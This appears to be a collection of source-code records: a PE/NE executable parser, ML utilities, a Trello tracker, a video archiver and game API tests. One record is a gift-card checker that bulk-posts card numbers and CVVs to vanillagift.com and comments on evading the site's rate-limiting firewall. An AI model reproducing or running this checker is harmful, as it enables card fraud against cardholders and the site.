(dword, 'Checksum32'),\n (dword, 'StackSize'),\n (dyn.block(0x100), 'Reserv'),\n ]\n\n@NextHeader.define\nclass NeHeader(pstruct.type):\n type = b'NE'\n class NE_Pointer(pstruct.type):\n _fields_ = [\n ( uint16, 'Index' ),\n ( uint16, 'Offset' )\n ]\n\n class NE_Version(pstruct.type):\n _fields_ = [\n ( uint8, 'Minor' ),\n ( uint8, 'Major' )\n ]\n\n _fields_ = [\n ( uint8, 'LinkVersion' ),\n ( uint8, 'LinkRevision' ),\n ( uint16, 'EntryOffset' ),\n ( uint16, 'EntryLength' ),\n ( uint32, 'CRC' ),\n ( uint8, 'ProgramFlags' ),\n ( uint8, 'ApplicationFlags' ),\n ( uint8, 'AutoDataSegmentIndex' ),\n ( uint16, 'HeapSize' ),\n ( uint16, 'StackSize' ),\n ( NE_Pointer, 'EntryPointer' ),\n ( NE_Pointer, 'StackPointer' ),\n ( uint16, 'SegmentCount' ),\n ( uint16, 'ModuleCount' ),\n ( uint16, 'NRNamesSize' ),\n ( uint16, 'SegmentOffset' ),\n ( uint16, 'ResourceOffset' ),\n ( uint16, 'RNamesOffset' ),\n ( uint16, 'ModuleOffset' ),\n ( uint16, 'ImportOffset' ),\n ( uint32, 'NRNamesOffset' ),\n ( uint16, 'MoveableEntryPointcount' ),\n ( uint16, 'AlignmentSize' ),\n ( uint16, 'ResourceCount' ),\n ( uint8, 'TargetOS' ),\n ( uint8, 'OS2_Flags' ),\n ( uint16, 'ReturnThunksOffset' ),\n ( uint16, 'SegmentThunksOffset' ),\n ( uint16, 'SwapMinimumSize' ),\n ( NE_Version, 'ExpectedVersion' )\n ]\n\n### FileBase\nclass File(pstruct.type, ptype.boundary):\n def __Padding(self):\n dos = self['Header'].li\n ofs = dos['e_lfarlc'].int()\n return dyn.block(ofs - self.blocksize()) if ofs > 0 else dyn.block(0)\n\n def __Relocations(self):\n dos = self['Header'].li\n ofs = dos['e_lfarlc'].int()\n return dyn.array(Dos.Relocation, dos['e_crlc'].li.int() if ofs == self.blocksize() else 0)\n\n def __Extra(self):\n res = self['Header'].li.headersize()\n if res > 0:\n return dyn.block(res - self.blocksize())\n return ptype.undefined\n\n def __Stub(self):\n # everything up to e_lfanew\n dos = self['Header'].li\n res = dos['e_lfanew'].int()\n if res > 0:\n return dyn.block(res - self.blocksize())\n return ptype.undefined\n\n def __Next(self):\n dos = self['Header'].li\n if dos['e_lfanew'].int() == self.blocksize():\n return Next\n return dyn.block(dos.filesize() - self.blocksize())\n\n def __NotLoaded(self):\n sz = self['Header'].blocksize()\n sz+= self['Extra'].blocksize()\n sz+= self['Stub'].blocksize()\n sz+= self['Next'].blocksize()\n if isinstance(self.source, ptypes.provider.bounded):\n return dyn.block(self.source.size() - sz)\n return ptype.undefined\n\n _fields_ = [\n (IMAGE_DOS_HEADER, 'Header'),\n (__Extra, 'Extra'),\n (__Stub, 'Stub'),\n (__Next, 'Next'),\n #(__NotLoaded, 'NotLoaded'),\n ]\n\nif __name__ == '__main__':\n import sys\n import ptypes, pecoff.Executable\n if len(sys.argv) == 2:\n filename = sys.argv[1]\n ptypes.setsource(ptypes.prov.file(filename, 'rb'))\n z = pecoff.Executable.File()\n z=z.l\n else:\n filename = 'obj/kernel32.dll'\n ptypes.setsource(ptypes.prov.file(filename, 'rb'))\n for x in range(10):\n print(filename)\n try:\n z = pecoff.Executable.File()\n z=z.l\n break\n except IOError:\n pass\n filename = '../'+filename\n\n v=z['next']['header']\n sections = v['Sections']\n exports = v['DataDirectory'][0]\n while exports['Address'].int() != 0:\n exports = exports['Address'].d.l\n print(exports.l)\n break\n\n imports = v['DataDirectory'][1]\n while imports['Address'].int() != 0:\n imports = imports['Address'].d.l\n print(imports.l)\n break\n\n relo = v['DataDirectory'][5]['Address'].d.l\n baseaddress = v['OptionalHeader']['ImageBase']\n section = sections[0]\n data = section.data().serialize()\n for item in relo.filter(section):\n for type, offset in item.getrelocations(section):\n print(type, offset)\n continue\n\n", "source": "arizvisa/syringe", "license": "BSD-2-Clause"}
+{"text": "from requests_html import HTMLSession\nfrom sys import argv\n\nif len(argv) != 2:\n\n\tprint(\"Usage: python3 VanillaGift.py VanillaGift.txt\")\n\nelse: # VanillaGift card balance checker\n\n\tfor card in reversed(list(open(argv[1]))):\n\n\t\tcardNumber, expMonth, expYear, cvv = card.rstrip().split(':')\n\n\t\tc = cardNumber + ' ' + expMonth + ' ' + expYear + ' ' + cvv\n\n\t\tua = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\" + \\\n\t\t\t\"/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36\"\n\n\t\twith HTMLSession() as s:\n\n\t\t\ts.get('https://www.vanillagift.com/',\n\t\t\t\theaders={'User-Agent': ua},\n\t\t\t\ttimeout=15) # get incapsula cookie, bypasses rate limiting waf?\n\n\t\t\tx = s.post(\"https://www.vanillagift.com/loginCard\",\n\t\t\t\theaders={'User-Agent': ua},\n\t\t\t\tdata={\n\t\t\t\t\t'cardNumber': cardNumber,\n\t\t\t\t\t'expMonth': expMonth,\n\t\t\t\t\t'expYear': expYear,\n\t\t\t\t\t'cvv': cvv,\n\t\t\t\t\t'origin': 'homeLogin' # this one isn't required...\n\t\t\t\t\t}, # ...but may help to look more nonchalant...\n\t\t\t\ttimeout=15)\n\n\t\t\ttry: \n\n\t\t\t\tb = x.html.find('div.SSaccountAmount', first=True).text\n\n\t\t\t\tprint(b, c)\n\n\t\t\texcept: \n\n\t\t\t\tprint(\"$.err\", c)", "source": "ytcrackers/Vanilla-Card-Balance-Checkers", "license": "MIT"}
+{"text": "###############################################################################\n# Utils functions for language models.\n#\n# NOTE: source from https://github.com/litian96/FedProx\n###############################################################################\n\nALL_LETTERS = \"\\n !\\\"&'(),-.0123456789:;>?ABCDEFGHIJKLMNOPQRSTUVWXYZ[]abcdefghijklmnopqrstuvwxyz}\"\nNUM_LETTERS = len(ALL_LETTERS)\n\n\ndef _one_hot(index, size):\n '''returns one-hot vector with given size and value 1 at given index\n '''\n vec = [0 for _ in range(size)]\n vec[int(index)] = 1\n return vec\n\n\ndef letter_to_vec(letter):\n '''returns one-hot representation of given letter\n '''\n index = ALL_LETTERS.find(letter)\n return _one_hot(index, NUM_LETTERS)\n\n\ndef word_to_indices(word):\n '''returns a list of character indices\n\n Args:\n word: string\n\n Return:\n indices: int list with length len(word)\n '''\n indices = []\n for c in word:\n indices.append(ALL_LETTERS.find(c))\n return indices\n", "source": "cshjin/fedsimul", "license": "MIT"}
+{"text": "import sys\nimport json\nimport os\nimport platform\nimport subprocess\nimport contextlib\nimport requests\n\n\nCHECKLIST_NAME = 'Commands'\nICON_READY, ICON_IP, ICON_DONE, ICON_FAIL = '\u26aa', '\u231b', '\ud83d\udd35', '\ud83d\udd34'\n\n\n_CREDS = None\ndef CREDS():\n global _CREDS\n if _CREDS is None:\n c = {}\n if os.path.exists(os.path.expanduser('~/.trello')):\n c.update(json.load(open(os.path.expanduser('~/.trello'), 'rt')))\n if os.path.exists('./.trello'):\n c.update(json.load(open('./.trello', 'rt')))\n if 'TRELLO_TOKEN' in os.environ:\n c['token'] = os.environ['TRELLO_TOKEN']\n if 'TRELLO_KEY' in os.environ:\n c['key'] = os.environ['TRELLO_KEY']\n if 'key' not in c or 'token' not in c:\n raise RuntimeError('Missing Trello `key` and `token`. Please provide as JSON in ~/.trello, '\n './.trello, or as TRELLO_KEY and TRELLO_TOKEN environment vars.\\n\\n'\n 'You can find your key and generate a token at https://trello.com/app-key')\n _CREDS = c\n return _CREDS\n\n\ndef _api(method, path, params=None):\n C = CREDS()\n params = params or {}\n params = {**params, 'key': C['key'], 'token': C['token']}\n return json.loads(requests.request(method, path, params=params).text)\n\n\nclass TrelloTracker:\n def __init__(self, desc, card_id=None, _start_in_progress=False):\n if card_id is None:\n card_id = os.environ.get('TRELLO_CARD')\n if card_id is None:\n sys.stderr.write('TRELLO: No card supplied. This operation will not be tracked.\\n')\n self.state = 'NO_TRACK'\n else:\n # Find card\n matching_cards = _api(\"GET\", \"https://trello.com/1/search\", {'query': card_id})\n card = None\n for c in matching_cards['cards']:\n if card_id in (c['id'], c['shortLink']):\n card = c\n break\n if card is None:\n sys.stderr.write('TRELLO: Could not find card: {}. This operation will not be tracked.\\n'.format(card_id))\n self.state = 'NO_TRACK'\n else:\n all_checklists = _api(\"GET\", \"https://api.trello.com/1/cards/{id}/checklists\".format(**card))\n checklist = [c for c in all_checklists if c['name'] == CHECKLIST_NAME]\n if len(checklist) == 1:\n checklist = checklist[0]\n else:\n checklist = _api(\n \"POST\",\n \"https://api.trello.com/1/cards/{id}/checklists\".format(**card),\n {'name': CHECKLIST_NAME})\n icon = ICON_IP if _start_in_progress else ICON_READY\n check_item = _api(\n \"POST\",\n \"https://api.trello.com/1/checklists/{id}/checkItems\".format(**checklist),\n {'name': '{} {}'.format(icon, desc)})\n self.state = 'IP' if _start_in_progress else 'READY'\n self.desc = desc\n self.card = card\n self.check_item = check_item\n\n def __enter__(self):\n assert self.state in ('IP', 'READY', 'NO_TRACK')\n if self.state == 'READY':\n _api(\"PUT\",\n \"https://api.trello.com/1/cards/{}/checkItem/{}\".format(self.card['id'], self.check_item['id']),\n {'state': 'complete', 'name': '{} {}'.format(ICON_IP, self.desc)})\n self.state = 'IP'\n return self\n\n def __exit__(self, ex_type, ex_val, ex_traceback):\n assert self.state in ('IP', 'NO_TRACK')\n if self.state == 'NO_TRACK':\n return\n if ex_type:\n self.state = 'FAIL'\n _api(\"PUT\",\n \"https://api.trello.com/1/cards/{}/checkItem/{}\".format(self.card['id'], self.check_item['id']),\n {'state': 'complete', 'name': '{} {}'.format(ICON_FAIL, self.desc)})\n _api(\"POST\",\n \"https://api.trello.com/1/cards/{id}/actions/comments\".format(**self.card),\n {'text': '{} failed with exception:\\n`{}`'.format(self.desc, ex_val)})\n else:\n self.state = 'DONE'\n _api(\"PUT\",\n \"https://api.trello.com/1/cards/{}/checkItem/{}\".format(self.card['id'], self.check_item['id']),\n {'state': 'complete', 'name': '{} {}'.format(ICON_DONE, self.desc)})\n\n\n@contextlib.contextmanager\ndef track(desc, card_id=None):\n with TrelloTracker(desc, card_id, _start_in_progress=True) as tracker:\n yield tracker\n\n\nclass TaskManager:\n def __init__(self, card_id=None):\n if card_id is None:\n card_id = os.environ.get('TRELLO_CARD')\n self.card_id = card_id\n self.tasks = []\n\n def add_task(self, desc, fn):\n self.tasks.append((desc, fn))\n\n def run(self):\n trackers = []\n for desc, _ in self.tasks:\n trackers.append(TrelloTracker(desc, self.card_id))\n for tracker, (_, fn) in zip(trackers, self.tasks):\n with tracker:\n fn()\n\n def clear(self):\n self.tasks.clear()\n\n def __enter__(self):\n return self\n\n def __exit__(self, ex_type, ex_val, ex_traceback):\n if ex_type:\n self.run()\n self.clear()\n\n\ndef main_cli():\n main(sys.argv[1:])\n\n\ndef main(argv):\n assert len(argv) >= 2, \"usage: [card_id] [command...]\"\n card_id, args = argv[0], argv[1:]\n cmd = ' '.join((a if ' ' not in a else f'\"{a}\"') for a in args)\n with track(card_id=card_id, desc=f'@{platform.node()} `{cmd}`'):\n p = subprocess.Popen(args)\n while True:\n try:\n return_code = p.wait()\n if return_code != 0:\n raise subprocess.CalledProcessError(return_code, args)\n break\n except KeyboardInterrupt:\n pass\n\n\n\nif __name__ == '__main__':\n main_cli()\n", "source": "seanmacavaney/trello-track", "license": "MIT"}
+{"text": "#!/usr/bin/python\n\n\"\"\"A concise tool for archiving video as it is recorded.\n\"\"\"\nimport os, time, argparse\nimport subprocess32 as subprocess\nfrom socket import gethostname\nimport dvrutils\n\ndef read_archive_config(fName):\n with open(fName, 'r') as f:\n flines = f.readlines()\n \n streams = [] # [{'StreamName': , 'VideoPath': , 'ArchivePath': },...]\n for line in flines:\n if line[0] != '#': # ignore comment lines\n sName = line.split('#')[0].strip() if '#' in line else line.strip()\n if len(sName) > 0:\n streams.append({'StreamName': sName, 'VideoPath': '', 'ArchivePath': ''})\n \n return streams\n\nclass StreamArchiver:\n def __init__(self, logger, dvrName, streamListFile='videoarchiver.cfg', storagePath='/mnt/video', archivePath='/mnt/archive'):\n self.logger = logger\n self.dvrName = dvrName\n self.streamListFile = os.path.join(archivePath,streamListFile)\n self.storagePath = storagePath\n self.archivePath = archivePath\n if os.path.exists(self.streamListFile):\n self.streams = read_archive_config(self.streamListFile)\n self.check_directories()\n else:\n self.logger.error(\"The specified configuration file {} cannot be found!\".format(self.streamListFile))\n \n def check_directories(self):\n # check which streams this computer has and make sure the directories are set up right\n goodStreams = []\n for s in self.streams:\n s['VideoPath'] = os.path.join(self.storagePath,s['StreamName'])\n \n if os.path.isdir(s['VideoPath']): # if we have this stream\n #s['ArchivePath'] = os.path.join(self.archivePath,s['StreamName'])\n s['ArchivePath'] = self.archivePath\n if not os.path.isdir(s['ArchivePath']): # if the stream has no directory in the archive, then make it\n if os.path.exists(s['ArchivePath']):\n s['ArchivePath'] = dvrutils.get_unique_filename(s['ArchivePath'],nZeros=0) # if there is a file with the same name for whatever reason, change the directory name\n os.makedirs(s['ArchivePath'])\n if self.logger is not None:\n self.logger.info('Created directory {} for stream {}!'.format(s['ArchivePath'],s['StreamName']))\n goodStreams.append(s)\n else: # if we don't, give a debug message for the user\n if self.logger is not None:\n self.logger.debug(\"Ignoring stream {} as it does not exist on this system.\".format(s['StreamName']))\n self.streams = goodStreams\n \n def sync_streams(self):\n # sync the streams one at a time to minimize fragmentation (NOTE: Eventually this will be pull-based, so there will be no fragmentation)\n for s in self.streams:\n # use rsync to perform the copy\n syncCmd = ['rsync', '-rlptg', s['VideoPath'], s['ArchivePath']] # r = recurse; l = symlinks as symlinks; preserve: p = permissions, t = modification times, g = group\n if self.logger is not None:\n self.logger.info(\"Syncing video for stream {} in {} to archive at {}...\".format(s['StreamName'], s['VideoPath'], s['ArchivePath']))\n self.logger.debug(\"Syncing with the command: {}\".format(syncCmd))\n startTime = time.time()\n subprocess.call(syncCmd)\n elapsedTime = time.time() - startTime\n if self.logger is not None:\n self.logger.info(\"Sync for stream {} took {} seconds.\".format(s['StreamName'], elapsedTime))\n \n def start_sync_daemon(self, timeOfDay='1:00'):\n # repeatedly sync streams on a schedule as determined by the timeOfDay parameter\n # timeOfDay is a time string in HH:MM format\n # by default it will sync at 1:00 AM every day\n try:\n syncHour, syncMin = [int(t) for t in timeOfDay.split(':')]\n except:\n syncHour, syncMin = 1, 0 # use default if the user input an incorrect time string\n self.logger.warning(\"Invalid time string: '{}'! Reverting to default! This is probably not what you wanted!\".format(timeOfDay))\n \n self.logger.info(\"Going to sync daily at {}:{}\".format(syncHour, syncMin))\n self.syncHistory = {int(time.strftime('%Y%m%d')): False} # save a log to know if we have synced today or not\n while True:\n dayKey = int(time.strftime('%Y%m%d'))\n if dayKey not in self.syncHistory: # if this is a new day, put an entry in the log so we know that it's a new day and we need to watch for the sync time\n self.syncHistory.update({dayKey: False})\n \n if not self.syncHistory[dayKey]: # if we haven't synced yet today, check the time to see if we should\n currTime = time.localtime()\n syncNow = False\n if currTime.tm_hour > syncHour:\n syncNow = True\n elif currTime.tm_hour == syncHour and currTime.tm_min >= syncMin:\n syncNow = True\n \n if syncNow: # if we should, sync files and log the event\n self.sync_streams()\n self.syncHistory[dayKey] = True\n \n # if we already synced today, we don't need to do anything\n time.sleep(5)\n \nif __name__ == \"__main__\":\n # parse any arguments passed in\n parser = argparse.ArgumentParser(prog='videoarchiver.py', usage='%(prog)s [configFilename]', description='Archives/backs up video from predefined camera streams to a defined location.')\n parser.add_argument('streamListFile', help = '(Optional) Name of the configuration file to defining streams to backup (defaults to archivePath/dvrName).')\n parser.add_argument('-t', '--time-of-day', dest = 'timeOfDay', default = '1:00', help = '(Optional) Time of day to perform the backup (HH:MM, 24-hour format) (default: %(default)s).')\n parser.add_argument('-l', '--log-file', dest = 'logFilename', default = 'videoarchiver.cfg', help = '(Optional) Name of the file for logging (default: %(default)s).')\n parser.add_argument('-v', '--loglevel', dest = 'loglevel', default = 'INFO', help = '(Optional) streamrecorder log level (does not affect FFMPEG log level). Specify numeric values (10, 20, 30, etc.) or strings like DEBUG or WARNING')\n parser.add_argument('-s', '--storage-path', dest = 'storagePath', default = '/mnt/video', help = '(Optional) Location of the archive directory (default: %(default)s).')\n parser.add_argument('-a', '--archive-path', dest = 'archivePath', default = '/mnt/archive', help = '(Optional) Location of the archive directory (default: %(default)s).')\n parser.add_argument('-d', '--dvr-name', dest = 'dvrName', default = gethostname(), help = '(Optional) Name of the computer recording the stream (defaults to hostname: %(default)s).')\n args = parser.parse_args()\n \n # setup logging\n logFilePath = os.path.join(args.archivePath, \"{}.log\".format(args.dvrName)) if args.logFilename is None else args.logFilename # by default, log to file: archivePath/dvrName.log\n logger = dvrutils.setup_logging(logFilePath, args.loglevel, args.dvrName, logToFile=True, logToStdout=True) # this function will output the loglevel for verification\n \n try:\n # create the archiver object, which makes sure things are set up correctly\n streamArchiver = StreamArchiver(logger, args.dvrName, args.streamListFile, args.storagePath, args.archivePath)\n \n # start the daemon\n streamArchiver.start_sync_daemon(args.timeOfDay)\n except:\n # if there was a crash, log it\n # TODO: send an email alert (once it works)\n logger.error(\"The program crashed unexpectedly!\")\n ", "source": "yannisHD/StreamRecorder", "license": "MIT"}
+{"text": "from pixelstarshipsapi import PixelStarshipsApi\nfrom run import push_context\n\n\ndef test_login():\n pixel_starships_api = PixelStarshipsApi()\n\n device_key, device_checksum = pixel_starships_api.generate_device()\n token = pixel_starships_api.get_device_token(device_key, device_checksum)\n\n assert isinstance(token, str)\n assert len(token) == 36\n\n\ndef test_settings():\n pixel_starships_api = PixelStarshipsApi()\n\n settings = pixel_starships_api.get_api_settings()\n\n assert 'ProductionServer' in settings\n assert 'MaintenanceMessage' in settings\n\n\ndef test_inspect_ship():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixel_starships_api = PixelStarshipsApi()\n\n user_id = 6635604 # Solevis\n inspect_ship = pixel_starships_api.inspect_ship(user_id)\n\n # Player\n user = inspect_ship['User']\n assert 'Id' in user\n assert 'Name' in user\n assert 'IconSpriteId' in user\n assert 'AllianceName' in user\n assert 'AllianceSpriteId' in user\n assert 'Trophy' in user\n assert 'LastAlertDate' in user\n\n # Ship\n ship = inspect_ship['Ship']\n assert 'ShipDesignId' in ship\n assert 'ImmunityDate' in ship\n assert 'ShipStatus' in ship\n assert 'OriginalRaceId' in ship\n\n # Room\n room = inspect_ship['Ship']['Rooms'][0]\n assert 'RoomId' in room\n assert 'Row' in room\n assert 'Column' in room\n assert 'ConstructionStartDate' in room\n\n\ndef test_dailies():\n pixel_starships_api = PixelStarshipsApi()\n dailies = pixel_starships_api.get_dailies()\n\n assert len(dailies) > 0\n\n # Shop\n assert 'LimitedCatalogCurrencyAmount' in dailies\n assert 'LimitedCatalogType' in dailies\n assert 'LimitedCatalogArgument' in dailies\n assert 'LimitedCatalogCurrencyType' in dailies\n assert 'LimitedCatalogQuantity' in dailies\n assert 'LimitedCatalogMaxTotal' in dailies\n assert 'LimitedCatalogExpiryDate' in dailies\n\n # Blue cargo\n assert 'CommonCrewId' in dailies\n assert 'HeroCrewId' in dailies\n\n # Green cargo\n assert 'CargoItems' in dailies\n assert 'CargoPrices' in dailies\n\n # Daily reward\n assert 'DailyRewardArgument' in dailies\n assert 'DailyRewardType' in dailies\n assert 'DailyItemRewards' in dailies\n\n # Sale\n assert 'SaleType' in dailies\n assert 'SaleArgument' in dailies\n assert 'SaleItemMask' in dailies\n\n # News messages\n assert 'News' in dailies\n assert 'NewsUpdateDate' in dailies\n assert 'TournamentNews' in dailies\n assert 'NewsSpriteId' in dailies\n\n\ndef test_sprites():\n pixel_starships_api = PixelStarshipsApi()\n sprites = pixel_starships_api.get_sprites()\n\n assert len(sprites) > 0\n\n sprite = sprites[0]\n\n assert 'SpriteId' in sprite\n assert 'ImageFileId' in sprite\n assert 'X' in sprite\n assert 'Y' in sprite\n assert 'Width' in sprite\n assert 'Height' in sprite\n assert 'SpriteKey' in sprite\n\n\ndef test_ships():\n pixel_starships_api = PixelStarshipsApi()\n ships = pixel_starships_api.get_ships()\n\n assert len(ships) > 0\n\n ship = ships[0]\n assert 'ShipDesignName' in ship\n assert 'ShipDescription' in ship\n assert 'ShipLevel' in ship\n assert 'Hp' in ship\n assert 'RepairTime' in ship\n assert 'InteriorSpriteId' in ship\n assert 'ExteriorSpriteId' in ship\n assert 'LogoSpriteId' in ship\n assert 'MiniShipSpriteId' in ship\n assert 'RoomFrameSpriteId' in ship\n assert 'DoorFrameLeftSpriteId' in ship\n assert 'DoorFrameRightSpriteId' in ship\n assert 'Rows' in ship\n assert 'Columns' in ship\n assert 'RaceId' in ship\n assert 'Mask' in ship\n assert 'MineralCost' in ship\n assert 'StarbuxCost' in ship\n assert 'MineralCapacity' in ship\n assert 'GasCapacity' in ship\n assert 'EquipmentCapacity' in ship\n assert 'ShipType' in ship\n\n\ndef test_researches():\n pixel_starships_api = PixelStarshipsApi()\n researches = pixel_starships_api.get_researches()\n\n assert len(researches) > 0\n\n research = researches[0]\n assert 'ResearchName' in research\n assert 'ResearchDescription' in research\n assert 'GasCost' in research\n assert 'StarbuxCost' in research\n assert 'RequiredLabLevel' in research\n assert 'ResearchTime' in research\n assert 'LogoSpriteId' in research\n assert 'ImageSpriteId' in research\n assert 'RequiredResearchDesignId' in research\n assert 'ResearchDesignType' in research\n\n\ndef test_rooms():\n pixel_starships_api = PixelStarshipsApi()\n rooms = pixel_starships_api.get_rooms()\n\n assert len(rooms) > 0\n\n room = rooms[0]\n assert 'RoomName' in room\n assert 'RoomShortName' in room\n assert 'RoomType' in room\n assert 'Level' in room\n assert 'Capacity' in room\n assert 'Rows' in room\n assert 'Columns' in room\n assert 'ImageSpriteId' in room\n assert 'ConstructionSpriteId' in room\n assert 'MaxSystemPower' in room\n assert 'MaxPowerGenerated' in room\n assert 'MinShipLevel' in room\n assert 'UpgradeFromRoomDesignId' in room\n assert 'DefaultDefenceBonus' in room\n assert 'ReloadTime' in room\n assert 'RefillUnitCost' in room\n assert 'RoomType' in room\n assert 'PriceString' in room\n assert 'PriceString' in room\n assert 'ConstructionTime' in room\n assert 'RoomDescription' in room\n assert 'ManufactureType' in room\n\n room_with_missile_design = None\n for room in rooms:\n if room['MissileDesign']:\n room_with_missile_design = room\n break\n\n assert room_with_missile_design\n assert 'SystemDamage' in room_with_missile_design['MissileDesign']\n assert 'HullDamage' in room_with_missile_design['MissileDesign']\n assert 'CharacterDamage' in room_with_missile_design['MissileDesign']\n\n room_with_purchase = None\n for room in rooms:\n if room['AvailabilityMask']:\n room_with_purchase = room\n break\n\n assert room_with_purchase\n assert 'AvailabilityMask' in room_with_purchase\n\n\ndef test_characters():\n pixel_starships_api = PixelStarshipsApi()\n characters = pixel_starships_api.get_characters()\n\n assert len(characters) > 0\n\n character = characters[0]\n assert 'CharacterDesignName' in character\n assert 'ProfileSpriteId' in character\n assert 'Rarity' in character\n assert 'Hp' in character\n assert 'FinalHp' in character\n assert 'Pilot' in character\n assert 'FinalPilot' in character\n assert 'Attack' in character\n assert 'FinalAttack' in character\n assert 'Repair' in character\n assert 'FinalRepair' in character\n assert 'Weapon' in character\n assert 'FinalWeapon' in character\n assert 'Engine' in character\n assert 'FinalEngine' in character\n assert 'Research' in character\n assert 'FinalResearch' in character\n assert 'Science' in character\n assert 'FinalScience' in character\n assert 'SpecialAbilityArgument' in character\n assert 'SpecialAbilityFinalArgument' in character\n assert 'SpecialAbilityType' in character\n assert 'FireResistance' in character\n assert 'WalkingSpeed' in character\n assert 'RunSpeed' in character\n assert 'TrainingCapacity' in character\n assert 'ProgressionType' in character\n assert 'CollectionDesignId' in character\n assert 'EquipmentMask' in character\n\n parts = character['CharacterParts']\n assert 'StandardSpriteId' in parts['Head']\n assert 'StandardSpriteId' in parts['Body']\n assert 'StandardSpriteId' in parts['Leg']\n\n\ndef test_collections():\n pixel_starships_api = PixelStarshipsApi()\n collections = pixel_starships_api.get_collections()\n\n assert len(collections) > 0\n\n collection = collections[0]\n assert 'CollectionName' in collection\n assert 'MinCombo' in collection\n assert 'MaxCombo' in collection\n assert 'BaseEnhancementValue' in collection\n assert 'SpriteId' in collection\n assert 'StepEnhancementValue' in collection\n assert 'IconSpriteId' in collection\n\n\ndef test_items():\n pixel_starships_api = PixelStarshipsApi()\n items = pixel_starships_api.get_items()\n\n assert len(items) > 0\n\n item = items[0]\n assert 'ItemDesignName' in item\n assert 'ItemDesignDescription' in item\n assert 'ImageSpriteId' in item\n assert 'ItemSubType' in item\n assert 'EnhancementType' in item\n assert 'Ingredients' in item\n assert 'Content' in item\n assert 'MarketPrice' in item\n assert 'FairPrice' in item\n assert 'ItemDesignId' in item\n assert 'ItemType' in item\n assert 'Rarity' in item\n assert 'EnhancementValue' in item\n\n\ndef test_alliances():\n pixel_starships_api = PixelStarshipsApi()\n alliances = pixel_starships_api.get_alliances(42)\n\n assert len(alliances) == 42\n\n alliance = alliances[0]\n assert 'AllianceId' in alliance\n assert 'AllianceName' in alliance\n\n\ndef test_sales():\n pixel_starships_api = PixelStarshipsApi()\n sales = pixel_starships_api.get_sales(131, 0, 1) # Scratchy\n\n assert len(sales) == 1\n\n sale = sales[0]\n assert 'SaleId' in sale\n assert 'StatusDate' in sale\n assert 'Quantity' in sale\n assert 'CurrencyType' in sale\n assert 'CurrencyValue' in sale\n assert 'BuyerShipId' in sale\n assert 'BuyerShipName' in sale\n assert 'BuyerShipName' in sale\n assert 'SellerShipId' in sale\n assert 'SellerShipName' in sale\n assert 'ItemId' in sale\n\n\ndef test_users():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixel_starships_api = PixelStarshipsApi()\n\n users = pixel_starships_api.get_users() # top 10\n assert len(users) == 100\n\n user = users[0]\n assert 'Id' in user\n assert 'Name' in user\n assert 'Trophy' in user\n assert 'AllianceId' in user\n assert 'LastLoginDate' in user\n assert 'AllianceName' in user\n assert 'AllianceSpriteId' in user\n\n\ndef test_alliance_users():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixel_starships_api = PixelStarshipsApi()\n\n alliance_id = 9343 # Trek Federation\n users = pixel_starships_api.get_alliance_users(alliance_id)\n assert len(users) > 0\n\n user = users[0]\n assert 'Id' in user\n assert 'Name' in user\n assert 'Trophy' in user\n assert 'AllianceId' in user\n assert 'LastLoginDate' in user\n assert 'AllianceName' in user\n assert 'AllianceSpriteId' in user\n\n\ndef test_prestiges_character_to():\n pixel_starships_api = PixelStarshipsApi()\n\n character_id = 196 # PinkZilla\n prestiges = pixel_starships_api.get_prestiges_character_to(character_id)\n assert len(prestiges) > 0\n\n prestige = prestiges[0]\n assert 'CharacterDesignId1' in prestige\n assert 'CharacterDesignId2' in prestige\n\n\ndef test_prestiges_character_from():\n pixel_starships_api = PixelStarshipsApi()\n\n character_id = 338 # Zongzi-Man\n prestiges = pixel_starships_api.get_prestiges_character_from(character_id)\n assert len(prestiges) > 0\n\n prestige = prestiges[0]\n assert 'CharacterDesignId1' in prestige\n assert 'CharacterDesignId2' in prestige\n\n\ndef test_rooms_purchase():\n pixel_starships_api = PixelStarshipsApi()\n rooms_purchase = pixel_starships_api.get_rooms_purchase()\n\n assert len(rooms_purchase) > 0\n\n room_purchase = rooms_purchase[0]\n assert 'RoomDesignId' in room_purchase\n assert 'AvailabilityMask' in room_purchase\n\n\ndef test_search_users():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixel_starships_api = PixelStarshipsApi()\n user_name_to_search = 'Solevis'\n users = pixel_starships_api.search_users(user_name_to_search, True)\n\n assert len(users) == 1\n\n user = users[0]\n assert 'Name' in user\n assert user['Name'] == user_name_to_search\n\n assert 'PVPAttackWins' in user\n assert 'PVPAttackLosses' in user\n assert 'PVPAttackDraws' in user\n assert 'PVPDefenceDraws' in user\n assert 'PVPDefenceWins' in user\n assert 'PVPDefenceLosses' in user\n assert 'HighestTrophy' in user\n assert 'CrewDonated' in user\n assert 'CrewReceived' in user\n assert 'AllianceJoinDate' in user\n assert 'CreationDate' in user\n\n\ndef test_trainings():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixel_starships_api = PixelStarshipsApi()\n trainings = pixel_starships_api.get_trainings()\n\n assert len(trainings) > 0\n\n training = trainings[0]\n\n assert 'TrainingDesignId' in training\n assert 'TrainingSpriteId' in training\n assert 'HpChance' in training\n assert 'AttackChance' in training\n assert 'PilotChance' in training\n assert 'RepairChance' in training\n assert 'WeaponChance' in training\n assert 'ScienceChance' in training\n assert 'EngineChance' in training\n assert 'StaminaChance' in training\n assert 'AbilityChance' in training\n assert 'XpChance' in training\n assert 'Fatigue' in training\n assert 'MinimumGuarantee' in training\n\n\ndef test_achievements():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixel_starships_api = PixelStarshipsApi()\n achievements = pixel_starships_api.get_achievements()\n\n assert len(achievements) > 0\n\n achievement = achievements[0]\n\n assert 'AchievementDesignId' in achievement\n assert 'AchievementTitle' in achievement\n assert 'AchievementDescription' in achievement\n assert 'SpriteId' in achievement\n assert 'RewardString' in achievement\n assert 'ParentAchievementDesignId' in achievement\n\n\ndef test_situations():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixel_starships_api = PixelStarshipsApi()\n situations = pixel_starships_api.get_situations()\n\n assert len(situations) > 0\n\n situation = situations[0]\n\n assert 'SituationDesignId' in situation\n assert 'SituationName' in situation\n assert 'SituationDescription' in situation\n assert 'FromDate' in situation\n assert 'EndDate' in situation\n assert 'IconSpriteId' in situation\n", "source": "solevis/pixyship2", "license": "MIT"}
